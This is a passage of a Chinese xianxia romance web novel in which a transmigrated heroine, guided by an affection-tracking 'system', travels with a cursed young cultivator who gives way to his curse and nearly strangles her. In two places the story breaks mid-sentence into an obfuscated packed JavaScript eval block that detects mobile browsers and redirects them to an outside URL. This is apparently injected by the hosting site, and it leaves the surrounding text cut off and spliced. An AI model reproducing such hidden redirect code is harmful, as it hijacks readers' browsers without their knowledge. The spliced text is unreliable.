细嫩的手指点了一下自己的眼尾,叶清圆很是认真地分析道:“脸颊的肌肤是最为薄嫩的,对疼痛的忍耐度也很低,稍微受一点伤就会很痛呢。” 谢尽芜的眉心微蹙。 他看着她近在咫尺的脸。她那双乌黑端丽的眼眸中是担忧的、关怀的微光。 晚风轻抚,她的身上不知熏了什么香,淡淡的香甜馥郁的芬芳,微风一样缠绕过谢尽芜白皙精瘦的脖颈。 他的喉结滚动了一下,不动声色地放轻呼吸,像是怕了这阵作乱的风。 叶清圆仰头看着他,或许是困倦了,眼里的光也有些涣散,看起来是一种漫不经心的温柔。 谢尽芜的薄唇紧紧抿着,对她的话感到莫名。 叶清圆见他一言不发,还以为他痛得连话都说不出来了,忍不住摇头叹气道:“想想也很疼啊,那么硬的东西从脸上长出来,跟用刀割有什么区别?你这人也真是的,邪印有这种副作用不能早点说吗?为什么非要自己一个人硬忍着?” 谢尽芜居高临下地看着她,眼中的冷漠似乎有一丝松动。 他想说根本不疼,他早就习惯这种钝刀子割肉的感觉了,不必因此而觉得他可怜。 他最不需要、也最讨厌别人对他露出怜悯的神色。 这让他觉得自己是个无能为力的废物,是渴望别人垂怜的弱者。 楚姨不想让他做弱者,他也最怕成为弱者。 可是话到了嘴边,却没能说出口。他低垂着眼帘,轻声道:“只有一点痛而已。” 事到如今还嘴硬。叶清圆对他感到无奈,叹气道:“我们回去客栈,我翻一翻那本符咒书,看有没有止痛的符印。” 谢尽芜的眼睫微颤了一下。 叶清圆也很快反应过来:“你是不是知道止痛的法印?我记得之前见你用过,会发出莹蓝色光芒的那个?” 谢尽芜垂眼看她:“嗯。” 叶清圆松一口气:“那看来是我多虑了。既然法印可以止痛,那下次一定记得用啊,硬生生扛着多难受,是不是?” 又来了,又是这样清脆悦耳的声音,带着轻柔的笑意。她这是在哄人吗? 谢尽芜感觉自己微蹙的眉被她的声音一点点抚平,他一瞬不转地看着她,道:“还好。” “还好?”叶清圆笑了,那看来还是不够痛。罢了,不管他了,原书里提到过,谢尽芜修习邪术时遭受过一些非人的折磨和训练,或许邪印带来的痛楚对他而言不过是家常便饭吧。 自己替他操心个什么劲儿? 倒是她自己的心中有些忐忑,刚才一顿胡乱操作,也确实做到了让黑影消失,不过应该谈不上“救出”谢尽芜吧? 也不知有没有顺利完成任务。 叶清圆疲惫地叹了一口气:“天色也不早了,我们就各自回房歇息吧。” 说罢,扬起脸冲谢尽芜笑了笑,转身就要回客栈。 谢尽芜看着她,漆黑漂亮的眼中漫出些许失落。 “你今晚为何回来这样晚?”这句话出口的一瞬,谢尽芜很明显脸上表情空白了一瞬。 他都不知道自己心里在想什么。 叶清圆笑吟吟道:“我去打探消息了呀,关于金璧城的怪事。” “对啦!你不问我都差点忘了。”她从衣袖中取出一个小包裹,捧在手心给谢尽芜看,“给你带了一件东西,打开看看?” 谢尽芜很轻地皱眉,眼中显出防备:“什么?” “打开看看呀。” 她微笑着,眼珠中蕴含着温和的期冀的光芒,翘起的唇角温柔中又藏着无限的怜悯。 谢尽芜怔怔的,手指扯开包裹的系带,看到了一方锦盒。 叶清圆脸上的笑意更浓了,循循善诱道:“再打开。放心吧,我不会捉弄你的。” 她的声音温柔清脆,谢尽芜真的放下了戒备心,低头很谨慎很认真地打开了锦盒。 锦盒中是一条吊坠,栀子花样式的白玉,玉质温润,隐约有光。 他怔住了,一双黑亮浸润的眼眸定定望着白玉,好半天都没有反应过来。直到叶清圆轻笑出声,他才用手指勾起吊坠,轻微的凉意霎时如涟漪般荡漾在手心。 “喜欢吗?瞎子都看出来你想要这条吊坠了,偏你什么都不讲。” 叶清圆捧着锦盒和吊坠一起交给他,手背肌肤若即若离地滑过他的掌心,润泽得像是一泓清泉流过。 “下次不要这么纠结了。想要什么就勇敢去争取,想做什么就大胆去做,人生哪有那么多弥补遗憾的机会呢,你说对吧?” 叶清圆挑起眉笑。 谢尽芜垂着眸,朦胧月影下看不清他的神色,只是很轻的“嗯”了一声。 明朗皎洁的月夜里,连微风都止息了。梨花簌簌落下枝头,像是一场浩大而静谧的雪。 太静谧了,以至于根本掩盖不住他胸腔中砰砰作响的心跳声。 他两只手拿着锦盒,心跳加速让他的呼吸有些快。他不明白自己怎么会有这样的反应,心跳声剧烈到他的耳膜都在打鼓,像是花落雪落的声音,纷乱繁杂,却不为人知。 这难道也是法印的副作用吗? 在她尚未回来的时候,他还漫无边际地想她是不是死在外面了,是否需要自己前去收尸。 他还在想,这样的结果似乎也不错。他少了个累赘,不必再费心地指点她符术。他对于教导别人没有任何的兴趣,纯属浪费时间。 而且,她那样话多,多到自己难以招架。说的话是那么婉转动听,语调也轻柔温和,像是在哄小孩子一样。真是无聊,他已经十九了,用得着她这么哄吗? 她还爱笑,笑时眉梢挑起,一双漂亮的眼珠定定望着他,笑意干净温暖得像是初春时的阳光。 真是无礼极了,哪有姑娘家这么笑意盈盈地看一个男子? 可是当她笑时,他却忍不住也要笑。 谢尽芜微垂着眼帘,一张净白的脸上表情怔怔的,什么也说不出来。她送来他最讨厌的栀子花,按理来讲他应该不悦,应该厌恶,可一颗心分明雀跃着,星星点点盛满了欢喜。 月光朦胧泼洒下来,覆在他低垂的眼睫上,将周遭的一切都笼罩得模糊。 叶清圆与他对视的一瞬间,差点没忍住抬手揉眼睛。她觉得自己一定是出现了幻觉,否则怎么在谢尽芜的眼中看到了一点羞涩的意味? “好了,至于感动到一个字都说不出来吗?”她笑了笑,笑容有些疲倦,这次是真的困了,“不要太感谢我,明天给我买好吃的就行。” 谢尽芜垂着眼帘,顿了许久才说:“好。” 叶清圆本来是随口的玩笑话,根本没有指望他会回答。此刻听他应下来之后,一双眼睛却是颇为诧异地睁大了。 谢尽芜看着她,清透深邃的眼潭中流露出复杂的情绪。 叶清圆拍拍肩头上的落花,转身想要回客栈:“我太困了,先回去休息啊。谢公子也早点休息,睡太晚会长出熊猫眼哦。” 谢尽芜的视线追着她离开的身影,后知后觉地反应过来:原来她为了替自己买回吊坠,竟花费了这么多功夫,累到连眼睛都睁不开。 他抿着唇,怔怔地说不出什么话。那股香甜馥郁的风随着她的离开也逐渐消失了。 她还穿着那件浅绿的仿佛莲叶般的衣裙,轻纱如雾如云缭绕山顶。初夏的衣裙领缘较低,露出她纤细、脆弱的后脖颈,映在他的眼中宛如一抹孤月般皎洁的素白。 窈窕的身影慢慢隐匿在客栈的昏暗中。 足足六秒钟之后,他才回过神来,轻声回应:“好的。” 可惜,他的声音太轻,轻得像是怕惊扰到什么。 梨花仍在落,静谧而烂漫。 她已经上楼。 这句短促的回应裹挟着若有若无的花香,夹杂着连他自己都看不懂的隐晦心事,就此混入午夜轻柔的微风中。 - 翌日一早,叶清圆头昏脑胀地醒来,眼睛勉强睁开一条缝。 窗外的熹微日光透过薄薄一层窗纸照进来,梨花枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统回应道:“任务进度安排以及相关奖励机制的设置皆经过系统精密的计算,不会出现任何差错,请宿主放心哦。” 分明是不含一丝感情的机械音,为何听起来有种阴阳怪气的劲儿呢? 叶清圆皱起眉。 铜镜中的姑娘面容皎皎,漂亮的脸上却现出一种厌烦的神情。 “算了,大早晨的不和你生气。不过现下一时半会又想不到该问什么……对了!” 叶清圆道:“谢尽芜到底是什么出身?经历过什么,为什么他画符这么厉害?” 当初不是说,原身叶清圆乃是点灵世家的后代,画符点灵的天赋十分彪悍吗? 请问系统,这天赋是单给我一个人的,还是别的人都有? 系统回应道:“相关情节,请宿主在以后的副本中继续探索。” 叶清圆:“……” 她说:“你不是说,我可以问一个关于谢尽芜的问题吗?我就要问这个,他为什么会画符?” 系统道:“他学过。” 叶清圆:“你这不是废话?” 系统轻咳一声,补充道:“点灵世家早已覆灭,族中秘法也流传人世。谢尽芜在希夷殿时,因表现出色,曾接触过点灵的秘本。” 懂了。原来是学霸的小灶,必刷密卷啊。 “再说一点呗,他在希夷殿都经历过什么事?”叶清圆好奇。 系统走了。 她深呼一口气,很快转变了心情,从随身携带的妆屉中挑拣一番,取出一支坠了金叶的流苏簪子来。 临出发的时候,叶清圆特意翻书学了收纳符,将闺房里的妆屉与漂亮小裙子全部收起来,纳入一只荷包中。不得不说,原身虽一身大小姐脾气,娇纵任性得过分,挑衣服和首饰的眼光却是上佳,每一样东西都叫叶清圆爱不释手。 穿越来的日子已经足够难捱,若再不想办法打扮得漂漂亮亮的,她可真是一点兴致都没有了。 戴好了发簪之后,她将先前佩戴的珍珠耳坠取下来,换上一对红玛瑙的。继而挑了一件金花红裙作配,打扮好之后,欢喜地下了楼。 22. 第 22 章 天幕澄澈,晴空万里。微微的一阵风拂过脸颊,风中夹杂着甘甜的清香,不知是开了什么花。 他们离开青蔓镇,正在前往金璧城的途中。 叶清圆坐在枝叶繁茂的树下阴影中,阳光暖暖的却不灼人,从枝叶的缝隙里漏下来,斑驳明媚。 她仰头靠在树上,闭着眼深深吸了一口气,草木清新,春花繁盛,陶醉道:“真好的天气,真好闻的花香。” 她随手拨弄了柔嫩的浅草尖,转头看谢尽芜。他垂着眼帘正襟危坐,薄红的唇紧抿着,一副如临大敌的模样。 不会又邪印发作了吧?如此明媚春光,他可不要煞风景啊! 叶清圆心中警惕,视线慢慢转移到他搁在膝上的手。 净白的手背上青筋血管隐约浮现,手指修长,骨节微突,是很好看的一双少年的手。 她忽地想到那天晚上,谢尽芜就是用这只手硬生生捏碎了黑影的钢筋般冷硬的喉骨,不由得打了个冷颤。 分明是少年的清俊相貌,身形也修硕颀长,甚至称得上清瘦,怎么会有如此恐怖的手劲? 叶清圆想得出神,右手托着下巴,不自觉地认真观察起谢尽芜来。 难道这也是修炼邪术导致的后果吗? 心性巨变、修为也大幅度增进。 谢尽芜察觉到她的目光,略带疑惑地抬眸看了她一眼。 叶清圆抿起唇尴尬地笑:“谢公子,你猜这是什么花的香气?” 谢尽芜有些不明所以,但还是很认真地闻了一下。 他们所在的树荫不大,两人之间相隔得很近,微风暖熏熏的,她身上的甜香气息被明媚春光的暖意蒸腾之后愈发扩散起来,一蓬一蓬地直往他鼻子里钻。 风中的花香没闻到,她的衣领、袖口中漫出的被体温晕染过的香却叫他一瞬间心神剧震。 他的薄唇微动,没说出什么来。偏叶清圆以为自己没听清,又往他身旁挪了挪:“什么?” 甜腻的香气一瞬间充斥了鼻息,谢尽芜抿着唇不吭声了。叶清圆的脸上挂着笑,很认真地等他回答,一双明眸就这么一瞬不转地凝视着他。 片刻后,却见他垂下浓秀的眼睫,眼眸微动,脸颊浮起一层清浅的红晕。 他的肤色净白,于是那一抹薄红便显得尤为可疑。 叶清圆等不到回答,心里觉得他的脸红得莫名其妙,于是别过脸自言自语道:“我闻着倒像是一种很清甜、酸涩的香气,好像是杏子的味道,难道附近有杏林吗?” 她站起来拍拍裙子,凭借着微风吹拂的方向很快判断出来香味传来的位置:“是西边!” “我准备去瞧一瞧情况,若是真的有杏子,就摘一些回来。”叶清圆大方地发出邀请,“你要一起吗?” 谢尽芜在斑驳的树影中抬起头,明媚的光点跳跃在他的唇角,看不清是否在笑,他轻轻摇头,眼中带着复杂的神色:“……没兴趣。” 叶清圆对他的不配合与冷漠习以为常,一双端丽漂亮的眼眸泛着湿润的水色:“那好吧,那待会我摘回来的果子你可千万不要吃啊。” 微风轻抚,她的声音传来有些失真,像是一阵裹着花香的风从旷野的尽头吹过来,谢尽芜听到自己逐渐失控的心跳,不怎么坚定地点头:“……好。” 叶清圆飞快笑了一下,转身就走。 簌簌的足步声响起,他的视线不自觉地追随她离开的身影。她提起裙角小跑在松软的草地上,裙摆被微风吹起,满地细小的野花被惊扰,浮动如同荡漾的水波。 树顶流云漫漫,天幕澄净,明媚阳光倾泻而下,她跳跃着远去,踩在松软的草地上发出沙沙声响,忽地心有所感一般回了头,目光恰好撞进谢尽芜的眼中。 谢尽芜的额角青筋一跳,匆忙收回了视线。 事实证明,人在饿肚子时的嗅觉极佳。叶清圆根本不懂怎么找野果,仅凭借微风中隐约夹杂的香甜气息,在稀疏的林中绕了一会儿,就寻到了几株杏树。 她瞬间两眼放光,忍不住对着满树橙黄色的果子缓缓露出了微笑,满心都是丰收的喜悦。 或许这就是血脉觉醒,人到了一定年龄就会爱上田园与山野。 叶清圆哼着歌走过去,身上披帛长裙如云雾浮动。到了跟前,才猛然反应过来:嗯?不对啊,分明在青蔓镇里,杏花还开得轰轰烈烈,满树堆雪一般,怎么出了镇子,杏果竟已经成熟了? 叶清圆心中警铃大作,她这是入了幻境吗? “系统,能不能解答我的疑问?” 紧接着,系统冰冷的声音响起:“青蔓镇地势较高,而此地处在山谷,暖气流聚集此处,整体气候较为温暖,杏树也是自然长成,请宿主放心食用。” 与“人间四月芳菲尽,山寺桃花始盛开。”一样的道理嘛。 叶清圆点了点头,又想到什么,好声好气地与系统商量道:“与任务无关的事情,以后可以多告诉我一点吗?我想更多地了解这个世界。” 与谢尽芜这个冷傲得要命的人同行,快要闷死她了。 系统沉默了一瞬,似乎是头一次听到这种请求,意外之余还是很快拒绝了:“请宿主专注于任务。” 叶清圆边走边笑道:“多告诉我一点,也有助于我完成任务嘛。放心,我不会要你剧透的。” 系统道:“请宿主专注于任务。” 叶清圆耸了一下肩,“好吧。” 又抱怨道:“你俩都挺倔的。愁人哪。” 目光在周围打量一圈,她的脑海中忽地有了主意。她踮起脚,先是从枝头摘下一片蒲扇大小的树叶,擦干净后便提着裙角奔到杏花树下,将树叶展开铺在较为平坦的地上。 这棵树上的杏已经熟透了,有些甚至落了下来,砸入潮湿的泥土中,散发出腐烂却甜腻的气息,几只小鸟亦被香甜气吸引而来,站在树梢探着脖子大快朵颐。 叶清圆没有惊扰它们,寻了旁边的树枝,踮起脚挑拣着摘了一些,用树叶小心地包起来,抱在怀中。 阳光忽地刺目起来,穿过繁盛的枝桠缝隙,在松软的地面投下明亮斑驳的光点。 不知是不是折腾这一番的缘故,叶清圆的额头出了薄薄一层汗,扬起脸摘杏也让她的脖颈有些酸涩,最关键的是……她的身高实在不太够,摘不到那些最为饱满金黄的杏儿。 她将踮着的脚放下来,揉了揉有些发酸的脖颈,心里颇不是滋味地叹了一口气。 若是谢尽芜在就好了,这人身量高,腰背又向来挺拔,手劲大得能拧断喉骨,真是天生下地干活的料子。 杏林旁不远处是一道小溪,涓涓细流蜿蜒而过,恰好滋润了这一方土地。 叶清圆捧着杏寻一块石头放上去,不忘俯身将裙角系了个结,免得被溪水沾湿。 她在溪边蹲下.身,双手伸进微凉的溪水中,顿时凉得浑身一阵清爽。 溪水源于山中去岁的冰雪融化,清澈得可以看清水底的鹅卵石,水面漾起的涟漪在底部圆石上投下清浅斑驳的光影。 几条纤细的小鱼在水中追逐嬉戏,皆若空游无所依。 阳光明媚,溪水微凉,周围安静得唯有风吹树叶的轻微响声,一切都是刚刚好。叶清圆低头将双手浸入溪水中,沾湿了手心,而后拍了拍被太阳晒得微红的脸颊。 一阵舒爽的凉意传来,她满足地喟叹一声。溪水真清澈,洗杏的时候甚至可以在水中看到倒映的澄澈的碧宇和悠悠飘荡的白云。 此时没有危机,没有威胁,压在心头的任务、所有的烦恼似乎都消失不见,她的心里是从未有过的平静。 这是她穿越以来,为数不多的放松的时刻。尽管再过几日,金璧城副本就会让她险些丧命。 念及此处,系统蓦然“叮!”地响了一声。 叶清圆的心跳骤停。 系统冰冷机械的声音响起:“恭喜宿主,角色【谢尽芜】的好感度已升至22%!请宿主再接再厉!” 叶清圆的动作一顿,细白的手指泡在微凉的溪水里,脸色出现了一瞬的茫然。 不对吧,她刚才什么都没做啊,为什么好感度会莫名其妙上涨? 她还未反应过来,系统的第二次提示音紧接着响起:“恭喜宿主,角色【谢尽芜】的好感度已升至25%!请宿主再接再厉!” 叶清圆惊得手里的杏都掉了,砰地一声砸进水里,溅出的水花打湿了她的脸。 系统的第三次提示音响起:“恭喜宿主,角色【谢尽芜】的好感度已升至28%!请宿主再接再厉!” 几颗熟杏骨碌碌地随着溪水滚了下去。 叶清圆的眉心紧蹙,脸上满是疑惑,回过神后连忙起身奔过去捡。 “我刚才什么也没做呀。”她有些摸不着头脑,“难道是因为,我说要摘杏给他吃,他很感动,终于意识到我是一个非常善良的人吗?” 不,她觉得谢尽芜这人根本不会有这种觉悟。 况且,她方才说得清楚,她摘的杏,不会给他吃。 那到底是为什么? “系统,能给点提示吗?” 系统高冷道:“很抱歉,本系统不提供这种服务。请宿主自行探索。” 叶清圆默默地翻了一个白眼。 不管怎么说,这都是好事,她距离完成任务又进了一步,至少不会被系统优化掉了。至于好感值到底是怎么提升的,待会见了谢尽芜再慢慢尝试、验证吧。 - 春光灼灼,绿木繁茂,谢尽芜抚膝端坐,闭目凝神调息。 这几日他动用灵力太多,那晚在青蔓镇时又不顾后果地以法阵强行压住了黑雾的魔气,导致体内灵脉险些受损,至今灵气运转时仍旧觉得滞涩难行。 此刻微风轻抚,天地俱静,他双拳紧握,额心却有冷汗簌簌滑落,灵脉中有一股灼热且蛮横的力量横冲直撞,烈火燎原般烧得他浑身剧痛,但他却享受这种刺骨的痛楚,因为每一阵剧痛之后,伴随而来的即是灵脉被彻底打通的清爽感。 与此同时,一股寒冰的冷意却在脉门蔓延,如跗骨之蛆般纠缠不止,是他体内残存的魔息在做困兽之斗。 谢尽芜眉头紧锁,死死压抑着心中渐生的邪念,遍布四肢百骸的痛楚让他的喉间时不时溢出难捱的闷哼声。 脑海中响起沉闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445934|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的低语,他像是被困在漆黑冰冷的河水中,拖着遍布伤痕的身躯,却仍竭力挣扎着想要触摸河面之上那模糊朦胧的天光。 回忆如浪潮翻涌,巨大汹涌的压力自天灵灌下。 他的意识开始变得模糊,分不清现实还是虚幻。 无数曾经熟悉的面孔扭曲起来,尖锐的指尖快要戳到他的脸颊,狰狞着尖声怒骂:“小害人精!”“都是被你害死的,都是因为你!”“我好痛啊,我死得好冤枉。有没有人能为我报仇?” 冷月寒光,城隍庙的琉璃顶像是落了一层冷霜。 庙宇之内,小小的身影无措地跪坐在城隍铜像的脚下,昏黄黯淡的烛光穿过垂挂的杏黄色挂幡,透过繁复华美的祈福符文,照在他瘦弱伶仃的肩头。 “我做错什么了么?为何所有人都死了?” 少年扬着脸,漠然地与城隍铜像对视。 他雪白的脸颊与脖颈被洒上一层淡淡的金光,身上的衣衫破旧得不成样子,却极为干净整洁。额前细碎的发已许久没有修剪,发尾拂在了挺直的鼻梁骨,是许久无人照顾、只好自己勉强生活的模样。 漆黑的眼眸毫无神采地望向铜像低垂的慈悲双目,他茫然轻声道:“过了今夜,谁又会因我而亡?是否我活在这个世上,本就是天大的不应该?” 稚嫩的嗓音回荡在庙宇,没有人任何回答他。巨大的城隍铜像双目低垂,唇角带笑,神情悲悯俯视着供案下的渺小生命。 天际一轮冷月无声,枝头寒鸦簌簌扑扇着双翅。供案上的烛光太过微小,照不亮偌大空寂的庙宇,足够逼死人的沉寂中,唯有冷风吹动漫垂的杏黄挂幡。 少年低下头,浓秀的眼睫垂下,漠然地看向自己张开的手心。 尚且青涩秀气的一双手,本该是翻动典籍经书的一双少年的手,掌心却布满了不属于这个年纪的刀痕剑伤。 杏黄挂幡褪了色,随风舞动时符文浮动恍惚,像是漫天飞舞的纸钱。 于是,漫长的寂静中,那道声音出现了,带着愉悦的笑意:“你忍心看着那些人枉死吗!” 跪坐在城隍脚下的瘦弱少年低着头,小小的身躯被笼罩在供案下的阴影中,真如蝼蚁一般渺小、无力。 他双眼大睁,摇头否认:“不对,不对。” 稚嫩的嗓音中带着一股莫名的倔强,回荡在空寂幽暗的城隍庙中。 一道清朗温和的声音随即响起:“不对!” 绿树的浓荫下,谢尽芜的眉心微蹙,牙关紧咬,眉宇间显出几分经年忍受摧心折磨的麻木与疲惫。 耳边那道或低沉或清脆的嘲笑声仍旧阴魂不散:“看吧,谁与你同行,谁就会死。你娘也是,楚姨也是,哑巴也是,还有雪球,连一条狗都被你害死了!他们本来多么无辜,多么快乐,还不都是因为你才丢了性命!啊,最可怜的就是那个姓叶的姑娘,她更无辜呢,却要被你害得小小年纪就背井离乡,孤身漂泊在外吃尽苦头,连亲爹都见不到。谢尽芜,你说你都做了些什么孽啊?” 谢尽芜死死把守着心念,闭口不言。它们又说:“不过你也不必因此难过,反正你身上背负的怨念那么多!你这一生所有痛苦与不幸,都不过是上天所赐啊。” 谢尽芜凝神聚气,努力维持神思清明。可是心中的邪念已经肆意起来,魔息在他的灵脉中疯狂滋长,冲撞得他浑身筋脉止不住的剧痛。 “谢尽芜,你忘了自己为什么讨厌栀子花了吗?”那些声音笑着。 此话一出,谢尽芜紧握的拳头瞬间松了。 这句漫不经心的质问像是压死骆驼的最后一根稻草,他闭目,体内运转的灵力忽地凝滞了一瞬。 脑海中的笑声爆发性地猖狂起来,魔息肆意冲撞,他的灵脉霎时被伤! 他的神识正处于险些失控的时候,肩头忽地被人轻拍了一下,紧接着是一道清脆的声音在耳边响起:“谢尽芜!” 她的声音温和悦耳,带着叫人难以抗拒的关怀,一下子拽回了谢尽芜的神识。 谢尽芜蓦地睁眼,眸中的狠戾杀意未消,尚未看清来人是谁,已经下意识地反手抽剑,纵身直劈而去! 这一剑出得实在太快,叶清圆根本来不及反应,她甚至看不清剑影,唯觉清锐剑鸣响彻耳边,眼前一道刺目寒光! 小小的树影下宛如一道闪电划过,剑意逼杀而至,叶清圆的喉咙当即传来一阵灼烧般的剧痛。 她被扑得向后仰倒,扑通一声摔坐在地,惊惧间大叫出声道:“谢尽芜,你疯了!” 这一声叫喊嗓音清脆高昂,银瓶乍破一般炸在谢尽芜的耳边,他的耳膜一瞬刺痛,灵台霎时清明彻底,微阖的双眼一瞬大睁。 千钧一发之际,他手腕转动扭转剑势,硬生生收回了迸发的剑意,剑意当即逆冲,倒逼他的经脉一阵剧震! 谢尽芜的心口猛然一痛,喉间立时有血腥气漫了上来。 然而剑势收住,身体的惯性却无法阻止。谢尽芜方才凝聚爆发的杀意太重,一副势要按着来人打杀的架势,叶清圆根本来不及防备,整个人被他的肩膀撞倒在松软的草地上,慌乱间手中捧着的金黄色杏果滚落一地。 23. 第 23 章 微风轻抚,风中的花香愈发浓郁了。 谢尽芜一只手将剑柄按在身侧的草地上,勉力撑着身体与她保持距离,另一只手却随惯性按住了她的肩。他居高临下望过来的眼瞳依旧是黑曜石般漂亮,却不如往日明亮澄澈,眼底明显有血丝凝聚。 他的喘息声剧烈而颤抖着,冷汗顺着脸颊滚落至下巴,砸在叶清圆瓷白细腻的脖颈。他的心跳快得要紊乱,灵力极度不稳定,血液流动的声音不断冲击着耳膜,眼前一阵阵发黑,根本看不清身下压着的人是谁,他连神识都不太清楚,眼中唯有杀意沸腾。 “你干什么?快起来!” 叶清圆恼怒得脸都要红了,身体被他按得动弹不得,野草又扎得她脖颈发痒。她伸出两只手掰着他的手腕,却如钢铁般丝毫扳不动。 谢尽芜居高临下地盯着她,视线却有些涣散,神情看起来痛苦至极。 叶清圆被他压在身下,连呼吸都有些困难,大口喘息道:“……谢尽芜,你想干什么?” 谢尽芜沉默不答,薄薄的嘴唇被他自己咬得发红,衬着雪白清透的面颊,明艳逼人。他就这么眼含杀意地盯了叶清圆半晌,掌心力道忽地放松,缓慢离开了她的肩头。 叶清圆心里紧张得直打鼓,刚要松了一口气,下巴骤然传来一阵剧痛! 谢尽芜用力扳住她的下巴,他的手掌很宽大,掌心覆上来的时候,几乎要捂住她的整张脸。 那只手的掌心很粗糙,带着常年习剑留下来的薄茧,划过她细嫩的脸颊,而后,忽地掐住了她的脖颈! 叶清圆感觉自己浑身的血液一下子涌上了脸颊,生怕他做出什么不顾后果的事情来,慌不择路地抡起拳头,在他的胳膊上狠狠捶了几拳。 谢尽芜冷着一双眼,薄唇紧紧抿着,对她的打击毫无反应。 二人之间的距离太近了,叶清圆能闻到他衣领间清冷馥郁的气息,并非文人雅士有意为之的兰杜熏香,而是一种清爽干净的少年独有的香味,像是雨后竹林里萦绕的清新山风。 他的喘息剧烈,呼吸带着热度扑在叶清圆的脸上。她的脸颊一瞬间有些发烫,眼底也潋滟出莹润的水光,有些不自在地偏过头去,避开他的目光,同时感觉到呼吸有些困难。 谢尽芜无知无觉,眼底再次有暴戾的杀意凝聚,像是彻底失了冷静理智。 叶清圆没有注意到他的眼神变化,仰躺在草地上挣扎了一阵,头发有些乱了,还是毫无效果,不禁心头火起,偏过头在他的虎口处用力咬了一口! 谢尽芜吃痛地闷哼一声,手掌瞬间见了血,眼神终于变得清澈一些,缓缓放轻了力气。 他用力眨了眨眼,待终于看清身下的人是谁时,一双眼蓦地大睁,简直像活撞了鬼。 他迅速起身让到一旁,脸上满是做错事后的惊慌失措,手指颤抖起来,想要扶一把叶清圆,却又连伸手相助都感到羞愧了,连视线都尴尬地移向别处。 “……对不起。” 叶清圆方才和他掰扯了好一阵,浑身力气用尽,虚脱般仰躺在草地上,剧烈咳嗽起来。 她眯着眼看天际流云,长出一口气后,还是没忍住翻了个白眼。 谢尽芜捡起遗落在草地上的长剑,声音沙哑道:“叶姑娘,我……” “你什么?又犯病了是吗?动不动就想杀人泄愤?”叶清圆没力气和他吵架了,脸颊是缺氧后导致的潮.红,“没看到我摘的杏都掉了吗?” 谢尽芜自觉有愧,被她骂了两句也不吭声。 沉默两秒后,他低着头拨开草丛,将金黄色的杏都拣起来放好在树叶上,捧给叶清圆。 叶清圆也没有接过来的意思,她撑着草地起身,拍掉身上沾着的草,没好气地瞪了他一眼。 脖颈处忽地传来轻微的痒意,她伸手一摸,这才后知后觉地发现一缕发丝竟被谢尽芜的剑意削断。 她捏着那缕碎发,一脸无语地举给谢尽芜看:“你干的好事?” 谢尽芜闻声抬眼,本意是看向她手上的头发。不知怎的,视线却不受控制地越过她的手,落在她的肩头与脖颈。 仅一瞬后,他的脸颊与耳尖红了个透,连忙扭过脸去,不再看她。 叶清圆顿时气得要笑,心说你这人怎么还不敢认错了呢? 难道这位以残忍嗜杀而被原作者强行删除戏份的大反派,竟还有脸皮薄、难为情的时候? 她刚才可是差一点就被他掐死! 叶清圆探着身子,脸颊气鼓鼓的,将手指拈着的那一缕头发在他眼前晃了晃:“怎么,敢做不敢认?” 谢尽芜避着目光不看她,憋了半天才憋出一句话:“……你先把衣服拉好。” “?”叶清圆满头问号,“我衣服怎么了?” 她边说着边低头一看,脸上的怒意瞬间化作了尴尬。 山雾般轻柔的棠梨色春衫在方才的一顿折腾中,领口已经敞开些许,露出一小片雪白柔腻的锁骨与脖颈。肩头隐隐显出薄红色,是被谢尽芜一掌按下去,手上力道失了控制而掐出来的红痕。 脖颈处或许也有,叶清圆视线受限,看不到而已。 谢尽芜的耳尖红得却要滴血了。 心照不宣的沉默在二人之间弥漫开来,叶清圆看他脸红,忍不住翻了个白眼,她此时的心中没有任何旖旎暧昧的心思,只是低头将春衫整理抚平,不由得生出一阵后怕。 他那时不由分说提剑杀来的模样着实恐怖,就像是理智与冷静在他的眼中荡然无存,满心只剩下纯粹的杀戮一般。 那时的他,与一把剑也没什么区别。 谢尽芜到底经历过什么? 叶清圆思绪飞转,立刻下了决心:这样的危急时刻,不可以再出现第二次。她必须想办法解决这个问题,否则受到威胁的只有作为同伴的自己的安危。 她的脑海中刚冒出这一念头,系统就提示道:“请宿主尽快找出角色【谢尽芜】身中邪印的原因,并设法除去邪印。该任务归属于主线任务二:攻略角色【谢尽芜】。” 也就是说,完成了这个任务,实际上推进的是主线任务二的进度。 叶清圆清了清嗓子,从谢尽芜的手中接过那片满载杏果的树叶,小声嘟囔道:“算了,不跟没有自控能力的人一般计较。” 谢尽芜扭过脸来,清透漂亮的眼眸中出现了茫然的神色:“嗯?” 叶清圆满脑子都是该怎么完成这个任务,方才的一场对峙被她很快抛在脑后:“你刚才不是被邪印控制了吗?” 所以,他方才对她做出的那些堪称无礼的举动,只用“被邪印控制”这一个借口,就可以轻易获得她的原谅吗? 今日若换作别的男子,她是否也会这般好脾气? 谢尽芜的眼神瞬间冷了下来。 他的眼中有复杂的情绪翻涌,心头的恶念克制不住,说出来的话也不好听:“叶姑娘还真是大度。” 叶清圆一听这话当即就恼了:“你什么意思?” 谢尽芜抿了一下唇:“你不是很快就原谅我了吗?” “谁说我原谅你了?”叶清圆大睁着双眼,细嫩的脸颊热得红扑扑的,让她的表情尤显得生动灵俏,“你想得倒美,这笔账以后我再要和你算呢!” 谢尽芜低垂着眼帘看她张牙舞爪的模样,被她骂了两句反倒高兴了,低低地“嗯”了一声。 叶清圆气势汹汹一顿输出,都做好了撸袖子和他干架的准备,却猝不及防在他眼中看到了隐约的笑意,一时震惊得不知该说什么好了。 她静默了片刻,怒火也被他眼里的笑意浇灭了,小声嘀咕道:“算了,不理你了。” 